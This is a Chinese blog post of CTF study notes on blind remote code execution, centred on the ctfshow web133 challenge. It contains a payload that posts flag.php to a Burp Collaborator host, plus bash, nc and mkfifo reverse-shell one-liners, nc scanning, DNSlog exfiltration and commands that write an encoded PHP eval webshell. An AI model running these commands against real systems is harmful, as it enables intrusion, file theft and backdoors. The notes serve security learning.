LOADING...

dadada~

loading

RCE补充篇——无回显


一个看起来很全的RCE总结

rce无回显剖析

无回显RCE

  • 无回显RCE就是:在命令执行的时候,虽然可以进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行

    <?php
    highlight_file(__FILE__);
    $a=$_GET['a'];
    exec("$a");
    //$b=exec("$a");
    //echo $b;
    
  • 可以使用sleep命令通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行:?a=1;sleep 5

重温ctfshow web133第n次

花了好长时间弄了一个bp专业版、、、、、、、、、、、、、、、、、真的会谢dnslog为什么用不了

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
  eval(substr($F,0,6));
}else{
  die("6个字母都还不够呀?!");
}
}
  • 限制只能执行六个字符的命令,但是如果传递的参数就是$F本身,会发生变量覆盖

  • 此处抄一手出题人wp:

    我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
    因为传递的`$F`;+sleep 3 先进行substr()函数截断然后去执行eval()函数,这个函数的作用是执行php代码
    ``是shell_exec()函数的缩写,然后就去命令执行,而$F就是我们输入的`$F`;+sleep 3 
    所以最后执行的代码应该是``$F`;+sleep 3`,就执行成功
    
    # payload 
    #其中-F 为带文件的形式发送post请求
    #xx是上传文件的name值,flag.php就是上传的文件 
    ?F=`$F`;+curl -X POST -F xx=@flag.php  http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
    
  • 啊啊啊啊啊好激动!我终于终于终于成功了!!!

写个小总结吧:

  • 首先就是payload一开始传错了,是直接写到url里就可以的,然后是要去点第三个HTTP那个,然后可以看到flag.php的源码就找到flag了

  • 其次就是对这个的原理实在不是很清楚,应该好好写写笔记好好了解一下

  • 最后,关于那个杀千刀的dnslog,我早晚要弄明白它怎么回事儿

除去这个困扰我很久的web133,下面好好总结一下关于无回显RCE的其它姿势

反弹shell

  • 因为虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令是执行了的,所以可以将shell反弹到自己服务器上,然后再执行命令就可以看到回显了
  • 据说:反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1这条命令,或者使用nc进行反弹:利用nc -e /bin/sh ip port进行反弹

下边把昨天翻到的大佬文章整理一下

  • 关于Linux文件描述符

    Linux文件描述符可以理解为Linux跟踪打开文件而分配的一个数字

    • 当Linux启动的时候会默认打开三个文件描述符,分别是:
      • 标准输入:standard input 0 (默认设备键盘)
      • 标准输出:standard output 1(默认设备显示器)
      • 错误输出:error output 2(默认设备显示器)
    • 注意:
      (1)以后再打开文件,描述符可以依次增加
      (2)一条shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符
  • 关于Linux下一切皆文件

    从shell角度看:

    • shell是用户和Linux内核之间的接口程序,用户在提示符下输入的每个命令都由shell先解释后传给Linux内核
    • shell是一个命令语言解释器,拥有自己内建的命令集;此外shell也能被系统中其它有效的实用程序和应用程序所调用,不论用户何时键入一个命令,它都Linux shell所解释:
      • shell 首先检查命令是否是内部命令,不是的话再检查是否是一个应用程序(这里的应用程序可以是Linux本身的实用程序)
      • 然后shell试着在搜索路径($PATH)里寻找这些应用程序——搜索路径是一个能找到可执行程序的目录列表
      • 如果你键入的命令不是一个内部命令并且在路径里没有找到这个可执行文件,将会显示一条错误信息
      • 而如果命令被成功的找到的话,shell的内部命令或应用程序将被分解为系统调用并传给Linux内核
    • shell的另一个重要特性是它自身就是一个解释型的程序设计语言
    • BASH是SHELL的一种,是大多数LINUX发行版默认的SHELL,除BASH SHELL外还有C SHELL等其它类型的SHELL
    • bash是sh的增强版本,在我们平常实地操作的时候如果sh这个命令不灵了我们应当使用bash

    从port看:

    • /dev/tcp/ip/port是一个特殊的文件,可以将其看成一个设备,如果访问这个文件的位置是不存在的
    • 但是如果在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信
  • 关于多命令顺序执行

    判断命令是否报错 命令 && echo yes || echo no命令正确打印yes命令错误打印no,其它的管道符啥的以前写过这里就不写了

  • 关于find命令

    • find /bin -name *sh | nc IP 8888(这个题用到的命令)
    • find –列出当前目录下的文件以及子目录所有文件
    • 想要在/etc目录中查找文件名以host开头的文件:find /etc -name "host*" -print
    • 将当前目录及其子目录下所有文件后缀为 .c 的文件列出来:find . -name "*.c"
    • 将当前目录及其子目录中的所有文件列出:find . -type f
    • 将当前目录及其子目录下所有最近 20 天内更新过的文件列出:find . -ctime -20
    • 查找 /var/log 目录中更改时间在 7 日以前的普通文件,并在删除之前询问它们:find /var/log -type f -mtime +7 -ok rm {} ;
    • 想要查找$HOME目录中的文件:find ~ -name "*" -printfind . -print
    • 根目录找所有文件find / -name "*" -print1.
    • 输入重定向:< file cat和cat < file是一样的,因为 解析器解析到 “<” 以后会先处理重定向,将标准输入重定向到file,之后cat再从标准输入读取指令的时候,由于标准输入已经重定向到了file ,于是cat就从file中读取指令了
  • 关于交互重定向

    • bash -i > /dev/tcp/ip/端口 0>&1 2>&1,为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上
    • 在受害者机器上输入bash -i > /dev/tcp/ip/端口,但是攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行;还需要一条这样的指令:bash -i < /dev/tcp/ip/端口
    • 现在需要将两条指令结合起来:bash -i > /dev/tcp/ip/端口 0>&1,但是在受害者机器上能看到在攻击者机器中执行的指令
    • &、&>这个符号作用就是混合输出(错误、正确输出都输出到一个地方)bash -i > /dev/tcp/ip/端口 0>&1 2>&1
  • 关于输出重定向

    • 格式:[n]> word——将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
  • 关于标准输出与标准错误输出重定向

    • 格式:&> word>& word
    • 格式说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的
      执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),我们又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
  • 关于文件描述符的复制

    • 格式:[n]<&[m] 或 [n]>&[m] (所有字符之间不要有空格)

    • 这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开

  • 关于exec 绑定重定向

    • 格式:exec [n] < 或 > file/[n]——格式说明:输入输出重定向 将 输入和输出绑定文件或者设备 以后只对当前的那条指令有效,如果需要接下来的指令都支持的话就需要使用 exec 指令
    • 格式:[n]<>word——格式说明:以读写方式打开word指代的文件,并将n重定向到该文件。如果n不指定的话,默认为标准输入
    • < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向
    • bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向
    • <1>输出重定向 > >>,<2>输入重定向 < <<
    • 一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果需要让输出不显示在显示器上,而是输出到文件或者其他设备,那就需要重定向
  • 关于反弹shell的姿势和nc拓展

    • 正向连接

      • 正向反弹是靶机先执行nc命令,然后控制端上再进行nc监听,命令为:nc -lvp 9999 -e /bin/bash或者nc -lvp 9999 -e cmd.exe
      • 控制端:nc 靶机ip 9999
    • 反向连接

      • 反向反弹是控制端执行监听命令,让靶机连接控制端

    • bash方法(需要有nc)

      • 靶机:nc 监听地址 监听端口 -e /bin/bashnc 监听地址 监听端口 -e cmd.exe
      • 控制端:nc -lvp 监听端口
      • 如果没有-e 选项:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 端口 >/tmp/f,mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路
    • sh方法

      • 靶机:nc ip 端口 -e /bin/sh
      • 控制端:nc -lvp 9999,bash是sh的增强版,如果靶机中没有bash,那么bash不可以用但是sh可以用,因为虽然没有bash但是会有sh
    • bash

      • 靶机:bash -i >& /dev/tcp/127.0.0.1/9999 0>&1
      • 控制端:nc -Lvp 9999
  • 关于端口扫描

    • nc -v ip port指定端口
    • nc -v -w ip -z 1-65536指定端口范围
    • nc -nvz 127.0.0.1 1-100使用全链接方式扫描端口(TCP扫描)
    • nc -nvzu 192.168.1.105 1-1024udp扫描
    • -v输出详细报告
    • -w timeout一个链接一段时间无操作,则自动断开,默认无超时
    • -z只监听不发送任何包
  • 文件传输

    • nc -l 8099 >要接受的文件名
    • nc 目的IP 8099 <要发送的文件

dnslog外带数据法

  • 目测这个方法的原理和用bp的原理是一样的
  • 如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析
  • 那么假如有一个可控的二级域名,那么当它向下一层域名发起解析的时候,就能拿到它的域名解析请求
  • 这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog,发起一个dns请求需要通过linux中的ping命令或者curl命令
  • 需要了解的一些命令:
    • sed命令,可以实现对行的分:ls | sed -n ‘1p’ (显示第一行)
    • find命令:
      • -name:按名称查找;根据目标文件的名称进行查找,允许使用*?通配符
      • -size:按文件大小查找;一般使用+-号设置超过或小于指定的大小作为查找条件,常用的容量单位包括kB(注意k是小写)、MB、GB;
      • -user:按文件属主查找;
      • -type:按文件类型查找;类型指的是普通文件(f)、目录(d)、块设备文件(b)、字符设备文件(c)等
    • 关于Linux命令通配符,有点正则的感觉

其它一些很好用的方法

  • 复制,压缩,写shell方法:

    copy flag.php flag.txt
    mv flag.php flag.txt
    cat flag.php > flag.txt
    
  • 压缩方法

    tar cvf flag.tar flag.php          #tar压缩
    tar zcvf flag.tar.gz flag.php      #tar解压
    zip flag.zip flag.php              #zip压缩
    unzip flag.zip                     #zip解压
    
  • 写shell方法

    echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.php
    #(3c3f706870206576616c28245f504f53545b3132335d293b203f3e是<?php eval($_POST[123]); ?>的十六进制编码)
    echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
    
  • linux tee命令

    #Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。
    tee file1 file2  #复制文件
    ls /|tee 1.txt   #命令输出
    
  • /dev/null 2>&1类无回显

    #/dev/null 2>&1的主要意思是不进行回显,进行命令分隔即可(如:system($c." >/dev/null 2>&1");)
    cat flag.php||
    cat flag.php;
    
  • 可输入长度被限制

    • linux的一些特性

      • a 虽然没有输入但是会创建a这个文件

      • ls -t ls基于基于事件排序(从晚到早)

      • sh a sh会把a里面的每行内容当作命令来执行使用|进行命令拼接 #l\ s = ls

      • base64 使用base64编码避免特殊字符

      • 可写:echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

      • 将语句拆分写入(最后两句是重点):

        >hp  >1.p\\  >d\>\\  >\ -\\  >e64\\  >bas\\  >7\|\\  >XSk\\  >Fsx\\
        >dFV\\  >kX0\\  >bCg\\  >XZh\\  >AgZ\\  >waH\\  >PD9\\  >o\ \\  >ech\\
        ls -t>0
        sh 0